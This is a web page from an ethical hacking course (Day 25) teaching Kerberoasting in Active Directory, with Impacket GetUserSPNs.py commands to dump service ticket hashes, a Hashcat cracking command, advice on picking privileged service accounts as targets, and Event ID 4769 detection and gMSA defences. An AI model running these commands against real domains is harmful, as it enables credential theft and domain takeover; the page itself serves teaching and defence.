Ethical Hacking -- Day 25 of 30
83%

Day 25: Kerberoasting 2026 — Attack & Defend Service Account Passwords in Active Directory

Day 25: Kerberoasting 2026 — Attack & Defend Service Account Passwords in Active Directory

DAY 25
🛡️ ETHICAL HACKING COURSE
FREE

Part of the 100-Day Ethical Hacking Course — the most structured free ethical hacking training online

Day 25 of 100 · 25% complete

With one low-privilege domain user account and three commands, Kerberoasting lets you request encrypted service tickets for every service in the Active Directory — take them offline, crack them with Hashcat, and walk back in as the SQL Server service account, the backup agent, or the legacy scan account that has been sitting with Domain Admin privileges since 2019. This is why it appears in almost every successful red team engagement.

🎯 What You’ll Master in Day 25

Understand why any domain user can request TGS tickets for any SPN-registered service
Enumerate all kerberoastable accounts using Impacket’s GetUserSPNs.py
Extract TGS hashes and crack them offline with Hashcat mode 13100
Identify which service accounts are highest priority targets based on their privileges
Implement proper defences — gMSAs, password policy, and Event ID 4769 monitoring

⏱️ 24 min read · 3 hands-on exercises

📊 Where are you with Active Directory attacks coming into Day 25?




✅ Perfect — this guide covers Kerberoasting from first principles through attack execution, hash cracking, and blue team detection. The TOC will take you to your level.

On Day 24 we covered the core Active Directory attack techniques including LDAP enumeration and password spraying. Today we go deeper into the Kerberos authentication protocol with Kerberoasting — one of the most reliable privilege escalation paths in Windows AD environments. This is Day 25 of the 100-Day Ethical Hacking Course.


How Kerberoasting Exploits Kerberos Authentication

Kerberos authentication uses tickets — when a user wants to access a service, they request a Ticket Granting Service (TGS) ticket from the Domain Controller. The DC issues this ticket encrypted with the service account’s NTLM password hash. Here is the vulnerability: any authenticated domain user can request a TGS ticket for any service registered in AD. There is no access check. The DC will hand it out. And since the ticket is encrypted with the service account’s password hash, taking it offline and cracking it reveals the service account’s plaintext password.

securityelites.com
Kerberoasting — Attack Flow
1
Attacker has low-priv domain user account
Standard user. No admin rights. No special permissions.
2
Request TGS tickets for all SPN-registered services
GetUserSPNs.py queries LDAP for SPNs, then requests TGS from DC for each one
3
DC issues tickets encrypted with service account password hashes
Tickets saved as $krb5tgs$23$… hashes — no further DC interaction needed
4
Crack hashes offline with Hashcat — no DC noise
hashcat -m 13100 hashes.txt rockyou.txt — weak service account passwords crack in seconds

📸 Kerberoasting attack flow — four steps from low-privilege domain user to cracked service account password, with only steps 1-3 requiring any domain interaction. The crack happens entirely offline.

🧠 EXERCISE 1 — THINK LIKE A HACKER (3 MIN)
Why does Kerberoasting specifically target user accounts with SPNs rather than computer accounts?

⏱️ Time: 3 minutes · No tools required

Both user accounts AND computer accounts can have SPNs registered.
Both produce Kerberos TGS tickets that can be requested offline.

Answer these before reading on:
1. Computer account passwords are randomly generated and 120+ chars long.
What does this mean for cracking their TGS hashes?
2. Service account passwords are typically set manually by an admin.
What patterns do admins typically use for “secure” service account passwords?
3. If a service account has Domain Admin privileges, what does cracking it give you?
4. Why would an attacker prioritise an account named svc_sql over svc_printer?

✅ What you just learned: Computer account TGS hashes are computationally infeasible to crack — 120 random characters means dictionary attacks fail instantly. Service account passwords set by humans almost always follow patterns: Company2019!, ServiceAcc#1, SqlServer2022. These are in mutation-based wordlists. The privilege attached to the account determines the attack’s impact — svc_sql often runs with elevated privileges needed to access databases across the domain.

📸 Write your answers and share in #day25-kerberoast on Discord.


Enumerating Kerberoastable Accounts

⚡ EXERCISE 2 — KALI TERMINAL (IMPACKET ENUMERATION)
Enumerate all kerberoastable accounts and request their TGS hashes

⏱️ Time: 15 minutes · Lab: HackTheBox AD lab or your own AD home lab

IMPACKET GETUSERSPNS — ENUMERATE AND EXTRACT
# Install Impacket if not present
pip3 install impacket –break-system-packages

# Step 1 — List all accounts with SPNs (kerberoastable accounts)
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py \
DOMAIN.local/lowprivuser:Password123 \
-dc-ip 10.10.10.1
# Shows: ServicePrincipalName, Name, MemberOf, PasswordLastSet, LastLogon

# Step 2 — Request TGS tickets and extract hashes
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py \
DOMAIN.local/lowprivuser:Password123 \
-dc-ip 10.10.10.1 \
-request \
-outputfile /tmp/kerberoast_hashes.txt

# Step 3 — View the extracted hashes
cat /tmp/kerberoast_hashes.txt
# Each hash starts with: $krb5tgs$23$*username*DOMAIN*SPN*…

# Step 4 — Crack with Hashcat (mode 13100 = Kerberos TGS-REP etype 23)
hashcat -m 13100 /tmp/kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
–force -O
# If cracked: $krb5tgs$23$… : ServicePassword123!

✅ What you just learned: GetUserSPNs.py performs two LDAP queries and a TGS request — all normal AD operations. No exploitation, no vulnerability, no error. The DC happily hands out the encrypted tickets. The only thing that determines whether the attack succeeds is whether the service account password is in your wordlist — which, for most manually-set passwords, it is.

📸 Screenshot the extracted $krb5tgs$ hashes and share in #day25-exercise on Discord.


Prioritising Targets by Privilege

Not all kerberoastable accounts are equal. Before investing cracking time, review the MemberOf column from GetUserSPNs output to identify which accounts will have the highest impact if cracked.

PRIORITISE KERBEROASTABLE ACCOUNTS BY GROUP MEMBERSHIP
# High-priority targets — crack these first:
Domain Admins → immediate full domain compromise
Enterprise Admins → forest-wide access
Backup Operators → can read all files, bypass NTFS permissions
Exchange admins → often has high AD permissions from legacy config

# Medium priority — worth cracking for lateral movement:
svc_sql* → SQL Server service accounts — DB access, often over-privileged
svc_backup* → backup agents — read access to all servers in scope
svc_scan* → vulnerability scanners — often has local admin on all workstations

# Check group memberships for a specific account via LDAP:
python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py \
DOMAIN.local/lowprivuser:Password123 -dc-ip 10.10.10.1 -all


Detection and Defence

🔥 EXERCISE 3 — KALI TERMINAL (BLUE TEAM DETECTION)
Identify Kerberoasting evidence in Windows Event logs

⏱️ Time: 10 minutes · Target: Your AD lab DC

KERBEROASTING DETECTION — WINDOWS EVENT LOGS
# On the Domain Controller — query Security Event Log
# Event ID 4769 = Kerberos service ticket (TGS) request

# PowerShell — find all TGS requests with RC4 encryption (etype 0x17)
# RC4 = legacy encryption — modern Kerberos uses AES (etype 0x12/0x11)
Get-WinEvent -FilterHashtable @{
LogName=’Security’; Id=4769
} | Where-Object {
$_.Properties[5].Value -eq ‘0x17’ # RC4 encryption type
} | Select-Object TimeCreated,
@{N=’Account’;E={$_.Properties[0].Value}},
@{N=’ServiceName’;E={$_.Properties[2].Value}}

# Red flags that indicate Kerberoasting:
Multiple 4769 events from single source in short time
RC4 encryption (0x17) instead of AES — tools default to RC4 for crackability
Workstation source requesting service tickets — unusual pattern
Non-business-hours activity — legitimate services don’t roast at 2am

✅ What you just learned: Kerberoasting leaves clear evidence in Windows Event logs if you know where to look. The key signal is multiple Event ID 4769 entries with RC4 encryption type from a single source in a short time window. Most Kerberoasting tools default to RC4 because it produces crackable hashes — forcing AES-only service tickets across the domain eliminates offline cracking entirely but requires service account password changes and msDS-SupportedEncryptionTypes attribute updates.

📸 Screenshot the 4769 events from your lab and share in #day25-detection on Discord. Tag #ehday25

🧠 QUICK CHECK — Day 25

Why does Kerberoasting only require a standard low-privilege domain user account to perform?



📋 Commands Used Today — Day 25 Reference Card

python3 GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IPList all kerberoastable accounts (SPN enumeration)
python3 GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request -outputfile /tmp/hashes.txtRequest TGS tickets and save hashes for offline cracking
hashcat -m 13100 hashes.txt rockyou.txt –force -OCrack Kerberos TGS-REP hashes (mode 13100 = etype 23/RC4)
Get-WinEvent -FilterHashtable @{LogName=’Security’; Id=4769}Windows: query Kerberos TGS request events for detection

🏆 Mark Day 25 as Complete

Kerberoasting — attack and defence both mastered. 25% through the course.


❓ Frequently Asked Questions

What is Kerberoasting?
Kerberoasting exploits the Kerberos authentication protocol — any authenticated domain user can request TGS tickets for any SPN-registered service. These tickets are encrypted with the service account’s password hash. Since the ticket can be taken offline, an attacker can crack the hash with Hashcat to reveal the service account password, with no further domain interaction required.
Why is Kerberoasting so effective?
It requires only a standard low-privilege domain user account, generates minimal logs (requesting service tickets is normal AD behaviour), targets service accounts whose passwords are manually set and rarely rotated, and the cracking happens entirely offline — no further noise on the domain controller after the ticket extraction step.
What makes an account kerberoastable?
Any user account (not computer account) with a ServicePrincipalName (SPN) registered in Active Directory is kerberoastable. Computer account passwords rotate automatically every 30 days and are 120+ random characters — cracking their TGS hashes is infeasible. Service account passwords set by humans are the realistic cracking targets.
How do you defend against Kerberoasting?
Three defences: (1) Use Group Managed Service Accounts (gMSAs) — they automatically rotate 240-character random passwords, making cracking impossible. (2) Set regular service account passwords to 25+ random characters. (3) Monitor Event ID 4769 for multiple TGS requests with RC4 encryption (etype 0x17) from a single source — this is the signature of automated Kerberoasting tools.
What comes after Kerberoasting in this course?
Day 26 covers Pass the Hash — using captured NTLM hashes to authenticate as a user without cracking them, which works even against accounts with strong passwords. Together with Kerberoasting, Pass the Hash completes the core Active Directory lateral movement toolkit.

← Previous

Day 24: Active Directory Attacks

Next →

Day 26: Pass the Hash

📚 Further Reading

  • Day 24: Active Directory Attacks — The previous session covering LDAP enumeration, password spraying, and the AD attack surface overview that sets up Kerberoasting.
  • Password Cracking Explained 2026 — Deep dive into Hashcat modes, wordlist strategy, and rule-based mutations — directly applicable to cracking TGS hashes from Kerberoasting.
  • Ethical Hacking Course Hub — The full 100-day course map showing where Kerberoasting fits in the complete AD attack methodology.
  • MITRE ATT&CK: Kerberoasting (T1558.003) — Official MITRE reference for Kerberoasting — procedure examples, detection, and mitigation guidance used by real threat intelligence teams.
  • Impacket GitHub Repository — The official Impacket toolkit including GetUserSPNs.py, GetNPUsers.py (AS-REP Roasting), and the full suite of AD attack utilities.

ME
Mr Elite
Owner, SecurityElites.com
Kerberoasting appears in almost every Active Directory red team engagement I have run. The pattern is almost always the same: a service account created years ago with a password that made sense at the time, never rotated, with privileges that were expanded over the years as new services were added. In one financial services assessment, a printer scan service account had been given Domain Admin rights in 2016 “temporarily” so it could update firmware across the domain. It was still there six years later. Kerberoasting cracked it in four minutes from rockyou.txt. One ticket, one crack, full domain. That is why this attack is on every red team checklist.

Leave a Reply

Your email address will not be published. Required fields are marked *